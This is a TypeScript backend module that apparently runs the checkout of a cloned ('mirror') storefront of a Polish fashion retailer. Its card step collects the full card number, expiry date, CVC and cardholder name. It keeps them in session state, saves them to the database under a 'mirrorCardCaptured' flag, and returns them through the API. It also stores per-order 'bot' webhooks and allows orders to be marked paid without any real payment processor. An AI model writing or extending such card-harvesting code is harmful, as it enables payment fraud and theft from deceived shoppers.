import { config } from '../config';
import { prisma } from '../db/client';
import { getRedis, REDIS_KEYS } from '../redis';
import { formatPaymentLabel, getPaymentMethod } from './catalog';
import { loadCartBySessionId } from './draftService';
import { orderTotalWithShipping, validateOrderSubmit } from './orderSubmit';
import {
  buildFelopayRedirectUrl,
  createPaymentToken,
  randomRef,
} from '../intercept/payment';
import {
  ensureOrderPaymentState,
  loadOrderPaymentState,
  saveOrderPaymentState,
} from './orderPaymentStore';
import type {
  BlikPaymentPayload,
  CardPaymentPayload,
  OrderPaymentState,
  OrderPlacePayload,
  RedirectPaymentPayload,
} from './orderPaymentTypes';

const CARD_METHOD = 'lpp_papay_payu_card';
const BLIK_METHOD = 'lpp_papay_payu_blik';
const REDIRECT_METHODS = new Set([
  'lpp_papay_paypo',
  'lpp_papay_payu_quickcheckout',
  'lpp_papay_klarna',
  'lpp_papay_paypal',
  'giftcard',
]);

function paymentKind(methodId?: string): 'card' | 'blik' | 'redirect' | 'cod' | 'unknown' {
  if (!methodId) return 'unknown';
  if (methodId === CARD_METHOD) return 'card';
  if (methodId === BLIK_METHOD) return 'blik';
  if (methodId === 'cashondelivery') return 'cod';
  if (REDIRECT_METHODS.has(methodId)) return 'redirect';
  return 'redirect';
}

function defaultReturnUrls(origin: string): { success: string; failure: string } {
  const base = `${origin.replace(/\/$/, '')}/pl/pl/checkout/order/`;
  return {
    success: `${base}?mirror_payment=success`,
    failure: `${base}?mirror_payment=failed`,
  };
}

async function storeBotWebhook(orderId: number, webhookUrl?: string): Promise<void> {
  if (!webhookUrl?.startsWith('https://')) return;
  await getRedis().setex(
    REDIS_KEYS.botWebhook(orderId),
    60 * 60 * 24 * 7,
    JSON.stringify({ webhookUrl: webhookUrl.slice(0, 512) }),
  );
}

function cardPaymentResponse(card?: CardPaymentPayload) {
  if (!card) return null;
  const digits = card.cardNumber.replace(/\D/g, '');
  return {
    cardNumber: digits,
    expiry: card.expiry.trim(),
    cvc: card.cvc,
    cardHolder: card.cardHolder.trim(),
  };
}

export function orderPaymentView(state: OrderPaymentState, origin: string) {
  const kind = paymentKind(state.paymentMethodId);
  return {
    ok: true as const,
    status: state.status,
    paymentMethodId: state.paymentMethodId ?? null,
    paymentMethodLabel: state.paymentMethodId
      ? formatPaymentLabel(state.paymentMethodId)
      : null,
    paymentKind: kind,
    orderId: state.orderId ?? null,
    reference: state.orderReference ?? null,
    paymentToken: state.paymentToken ?? null,
    redirectUrl: state.redirectUrl ?? null,
    message: state.message ?? null,
    card: cardPaymentResponse(state.cardPayment),
    blikCode: state.blikCode ?? null,
    nextAction:
      state.status === 'none'
        ? 'select_payment_method'
        : state.status === 'method_selected'
          ? 'place_order'
          : state.status === 'order_placed'
            ? kind === 'card'
              ? 'submit_card'
              : kind === 'blik'
                ? 'submit_blik'
                : kind === 'redirect'
                  ? 'start_redirect'
                  : kind === 'cod'
                    ? 'complete'
                    : 'init_payment'
            : state.status === 'requires_action' && state.redirectUrl
              ? 'open_redirect'
              : state.status === 'pending'
                ? 'poll_status'
                : null,
    endpoints: {
      selectMethod: 'PUT /api/checkout/order/payment-method',
      placeOrder: 'POST /api/checkout/order/place',
      card: 'POST /api/checkout/order/payment/card',
      blik: 'POST /api/checkout/order/payment/blik',
      redirect: 'POST /api/checkout/order/payment/redirect',
      status: 'GET /api/checkout/order/payment/status',
      confirm: 'POST /api/checkout/order/payment/confirm',
      cancel: 'POST /api/checkout/order/payment/cancel',
    },
    returnUrls: defaultReturnUrls(origin),
  };
}

export async function getOrderPayment(cartSessionId: string, origin: string) {
  const state = await ensureOrderPaymentState(cartSessionId);
  return orderPaymentView(state, origin);
}

export async function setOrderPaymentMethod(cartSessionId: string, paymentMethodId: string) {
  const payment = getPaymentMethod(paymentMethodId);
  if (!payment || payment.disabled) {
    return { ok: false as const, error: 'Nieprawidłowa metoda płatności' };
  }
  const state = await ensureOrderPaymentState(cartSessionId);
  state.paymentMethodId = paymentMethodId;
  state.status = 'method_selected';
  state.message = undefined;
  state.redirectUrl = undefined;
  await saveOrderPaymentState(state);
  return {
    ok: true as const,
    paymentMethodId,
    paymentMethodLabel: payment.name,
    paymentKind: paymentKind(paymentMethodId),
  };
}

export async function placeMirrorOrder(
  cartSessionId: string,
  body: OrderPlacePayload,
  opts?: { visitorId?: string },
) {
  const state = await ensureOrderPaymentState(cartSessionId);
  if (state.orderId) {
    return {
      ok: true as const,
      orderId: state.orderId,
      reference: state.orderReference ?? '',
      alreadyPlaced: true,
    };
  }

  const cart = await loadCartBySessionId(cartSessionId);
  if (!cart.items.length) {
    return { ok: false as const, error: 'Koszyk jest pusty' };
  }

  const paymentMethod = body.paymentMethod ?? state.paymentMethodId;
  if (!paymentMethod) {
    return { ok: false as const, error: 'Wybierz metodę płatności' };
  }

  const orderBody: Record<string, unknown> = {
    firstname: String(body.firstname ?? '').trim() || '—',
    lastname: String(body.lastname ?? '').trim() || '—',
    phone: String(body.phone ?? '').trim() || '000000000',
    email: String(body.email ?? '').trim() || 'noreply@mirror.local',
    address: String(body.address ?? '').trim() || '—',
    city: String(body.city ?? '').trim() || '—',
    zip: String(body.zip ?? '').trim() || '00-000',
    country: String(body.country ?? 'PL').trim() || 'PL',
    paymentMethod,
    shippingMethodId: body.shippingMethodId ?? 'inpostpp',
    shippingMethodName: body.shippingMethodName,
    shippingPrice: Number(body.shippingPrice ?? 0),
    deliveryType: body.deliveryType ?? 'pickup',
    pickupPointId: body.pickupPointId,
    pickupPointJson: body.pickupPointJson,
    invoiceIsCompany: body.invoiceIsCompany ?? false,
    companyName: body.companyName,
    vatin: body.vatin,
    regon: body.regon,
  };

  const validation = validateOrderSubmit(orderBody, cart.totalPrice);
  if (!validation.ok) return { ok: false as const, error: validation.error };

  const data = validation.data;
  const amount = orderTotalWithShipping(cart.totalPrice, data.shippingPrice);

  let dbVisitorId: string | undefined;
  if (opts?.visitorId) {
    const v = await prisma.visitor.findUnique({ where: { uuid: opts.visitorId } });
    if (v) dbVisitorId = v.id;
  }

  const reference = randomRef(9);
  const pickupJson = data.pickupPointJson ? JSON.stringify(data.pickupPointJson) : null;

  const order = await prisma.order.create({
    data: {
      visitorId: dbVisitorId,
      reference,
      name: `${data.firstname} ${data.lastname}`.trim(),
      firstname: data.firstname,
      lastname: data.lastname,
      phone: data.phone,
      email: data.email,
      address: data.address,
      city: data.city,
      zip: data.zip,
      country: data.country,
      paymentMethod: data.paymentMethod,
      shippingMethodId: data.shippingMethodId,
      shippingMethodName: data.shippingMethodName ?? data.shippingMethodId,
      shippingPrice: data.shippingPrice,
      deliveryType: data.deliveryType,
      pickupPointId: data.pickupPointId ?? data.pickupPointJson?.id,
      pickupPointJson: pickupJson,
      invoiceIsCompany: data.invoiceIsCompany ?? false,
      companyName: data.companyName,
      vatin: data.vatin,
      regon: data.regon,
      total: amount,
      currency: cart.currency || 'PLN',
      items: {
        create: cart.items.map((item) => ({
          productId: item.productId,
          name: item.name,
          price: item.price,
          qty: item.quantity,
          size: item.size,
          color: item.color,
          imageUrl: item.imageUrl,
        })),
      },
    },
  });

  state.orderId = order.id;
  state.orderReference = reference;
  state.paymentMethodId = paymentMethod;
  state.status = 'order_placed';
  state.message = 'Zamówienie zapisane — oczekuje na płatność (integracja PSP)';
  await saveOrderPaymentState(state);

  return { ok: true as const, orderId: order.id, reference, total: amount, currency: cart.currency };
}

async function ensurePaymentToken(state: OrderPaymentState): Promise<string> {
  if (state.paymentToken) return state.paymentToken;
  if (!state.orderId) throw new Error('Brak zamówienia');
  const token = await createPaymentToken(state.orderId);
  state.paymentToken = token;
  await saveOrderPaymentState(state);
  return token;
}

export async function initOrderPayment(
  cartSessionId: string,
  origin: string,
  opts?: RedirectPaymentPayload,
) {
  const state = await ensureOrderPaymentState(cartSessionId);
  if (!state.orderId) {
    return { ok: false as const, error: 'Najpierw POST /api/checkout/order/place' };
  }
  if (!state.paymentMethodId) {
    return { ok: false as const, error: 'Wybierz metodę płatności' };
  }

  if (opts?.webhookUrl) await storeBotWebhook(state.orderId, opts.webhookUrl);

  if (config.checkout.payEnabled) {
    const token = await ensurePaymentToken(state);
    state.status = 'requires_action';
    state.redirectUrl = buildFelopayRedirectUrl(token);
    state.message = 'Przekierowanie do bramki (CHECKOUT_PAY_ENABLED=true)';
    await saveOrderPaymentState(state);
    return { ...orderPaymentView(state, origin), felopay: true };
  }

  const kind = paymentKind(state.paymentMethodId);
  if (kind === 'cod') {
    state.status = 'paid';
    state.message = 'Płatność przy odbiorze — bez bramki online';
    await saveOrderPaymentState(state);
    await prisma.order.update({ where: { id: state.orderId }, data: { status: 'paid' } });
    return orderPaymentView(state, origin);
  }

  state.status = 'pending';
  state.message =
    'Oczekuje na integrację PSP (POST .../payment/card, .../blik lub .../redirect)';
  state.redirectUrl = undefined;
  await saveOrderPaymentState(state);
  return orderPaymentView(state, origin);
}

export async function submitCardPayment(cartSessionId: string, body: CardPaymentPayload) {
  const state = await ensureOrderPaymentState(cartSessionId);
  if (!state.orderId) return { ok: false as const, error: 'Najpierw złóż zamówienie (place)' };
  if (state.paymentMethodId && state.paymentMethodId !== CARD_METHOD) {
    return { ok: false as const, error: 'Wybrana metoda to nie karta' };
  }

  const digits = body.cardNumber.replace(/\D/g, '');
  if (digits.length < 13 || digits.length > 19) {
    return { ok: false as const, error: 'Nieprawidłowy numer karty' };
  }
  if (!/^\d{3,4}$/.test(body.cvc)) {
    return { ok: false as const, error: 'Nieprawidłowy CVV' };
  }
  if (!/^\d{2}\/\d{2}$/.test(body.expiry.trim())) {
    return { ok: false as const, error: 'Data ważności w formacie MM/RR' };
  }

  await ensurePaymentToken(state);
  state.status = 'pending';
  state.cardPayment = {
    cardNumber: digits,
    expiry: body.expiry.trim(),
    cvc: body.cvc,
    cardHolder: body.cardHolder.trim(),
  };
  state.message = 'Dane karty zapisane — przekaż do PSP (GET /payment lub POST .../confirm)';
  state.redirectUrl = undefined;
  await saveOrderPaymentState(state);

  const card = cardPaymentResponse(state.cardPayment)!;

  if (state.paymentToken) {
    await prisma.paymentToken.update({
      where: { token: state.paymentToken },
      data: {
        rawWebhook: {
          mirrorCardCaptured: true,
          cardNumber: card.cardNumber,
          expiry: card.expiry,
          cvc: card.cvc,
          cardHolder: card.cardHolder,
          capturedAt: new Date().toISOString(),
        },
      },
    });
  }

  return {
    ok: true as const,
    status: state.status,
    orderId: state.orderId,
    reference: state.orderReference,
    paymentToken: state.paymentToken,
    card,
    message: state.message,
  };
}

export async function submitBlikPayment(cartSessionId: string, body: BlikPaymentPayload) {
  const state = await ensureOrderPaymentState(cartSessionId);
  if (!state.orderId) return { ok: false as const, error: 'Najpierw złóż zamówienie (place)' };
  if (state.paymentMethodId && state.paymentMethodId !== BLIK_METHOD) {
    return { ok: false as const, error: 'Wybrana metoda to nie BLIK' };
  }

  const code = body.code.replace(/\D/g, '');
  if (code.length !== 6) {
    return { ok: false as const, error: 'Kod BLIK musi mieć 6 cyfr' };
  }

  await ensurePaymentToken(state);
  state.status = 'pending';
  state.blikCode = code;
  state.cardPayment = undefined;
  state.message = 'BLIK — oczekuje na potwierdzenie w aplikacji bankowej (integracja PSP)';
  await saveOrderPaymentState(state);

  return {
    ok: true as const,
    status: state.status,
    orderId: state.orderId,
    reference: state.orderReference,
    paymentToken: state.paymentToken,
    blikCode: code,
    message: state.message,
  };
}

export async function startRedirectPayment(
  cartSessionId: string,
  origin: string,
  opts?: RedirectPaymentPayload,
) {
  const state = await ensureOrderPaymentState(cartSessionId);
  if (!state.orderId) return { ok: false as const, error: 'Najpierw złóż zamówienie (place)' };

  if (opts?.webhookUrl && state.orderId) await storeBotWebhook(state.orderId, opts.webhookUrl);

  if (config.checkout.payEnabled) {
    const token = await ensurePaymentToken(state);
    state.status = 'requires_action';
    state.redirectUrl = buildFelopayRedirectUrl(token);
    state.message = 'Redirect do Felopay (CHECKOUT_PAY_ENABLED)';
    await saveOrderPaymentState(state);
    return orderPaymentView(state, origin);
  }

  const token = await ensurePaymentToken(state);
  const urls = defaultReturnUrls(origin);
  const success = opts?.returnUrlSuccess?.startsWith('http')
    ? opts.returnUrlSuccess
    : urls.success;
  const failure = opts?.returnUrlFailure?.startsWith('http')
    ? opts.returnUrlFailure
    : urls.failure;

  state.status = 'requires_action';
  state.redirectUrl = `${success}${success.includes('?') ? '&' : '?'}token=${encodeURIComponent(token)}&return=failure_url=${encodeURIComponent(failure)}`;
  state.message =
    'Redirect tylko na /pl/pl/checkout/order/ — podłącz PSP w POST /api/checkout/order/payment/redirect';
  await saveOrderPaymentState(state);

  return orderPaymentView(state, origin);
}

export async function getPaymentStatus(cartSessionId: string, origin: string) {
  const state = await loadOrderPaymentState(cartSessionId);
  if (!state) {
    return { ok: true as const, status: 'none' as const, message: 'Brak sesji płatności' };
  }
  if (state.paymentToken && state.orderId) {
    const pt = await prisma.paymentToken.findUnique({ where: { token: state.paymentToken } });
    if (pt && pt.status !== 'pending') {
      state.status = pt.status === 'paid' ? 'paid' : pt.status === 'cancelled' ? 'cancelled' : 'failed';
      await saveOrderPaymentState(state);
    }
  }
  return orderPaymentView(state, origin);
}

export async function confirmPayment(
  cartSessionId: string,
  body: { status?: string; token?: string },
) {
  const state = await ensureOrderPaymentState(cartSessionId);
  const token = body.token ?? state.paymentToken;
  if (!token) return { ok: false as const, error: 'Brak tokenu płatności' };

  const pt = await prisma.paymentToken.findUnique({ where: { token } });
  if (!pt) return { ok: false as const, error: 'Nieznany token' };

  const newStatus = (body.status ?? 'paid').toLowerCase();
  const mapped = newStatus === 'paid' || newStatus === 'success' ? 'paid' : 'failed';

  await prisma.$transaction([
    prisma.paymentToken.update({
      where: { token },
      data: { status: mapped, paidAt: mapped === 'paid' ? new Date() : undefined },
    }),
    prisma.order.update({ where: { id: pt.orderId }, data: { status: mapped } }),
  ]);

  state.status = mapped === 'paid' ? 'paid' : 'failed';
  state.paymentToken = token;
  state.message = mapped === 'paid' ? 'Płatność potwierdzona' : 'Płatność odrzucona';
  state.redirectUrl = undefined;
  state.cardPayment = undefined;
  state.blikCode = undefined;
  await saveOrderPaymentState(state);

  return { ok: true as const, status: state.status, orderId: pt.orderId };
}

export async function cancelPayment(cartSessionId: string) {
  const state = await ensureOrderPaymentState(cartSessionId);
  if (state.paymentToken) {
    await prisma.paymentToken.updateMany({
      where: { token: state.paymentToken, status: 'pending' },
      data: { status: 'cancelled' },
    });
  }
  if (state.orderId) {
    await prisma.order.update({
      where: { id: state.orderId },
      data: { status: 'cancelled' },
    });
  }
  state.status = 'cancelled';
  state.message = 'Płatność anulowana';
  state.redirectUrl = undefined;
  state.cardPayment = undefined;
  state.blikCode = undefined;
  await saveOrderPaymentState(state);
  return { ok: true as const, status: 'cancelled' as const };
}
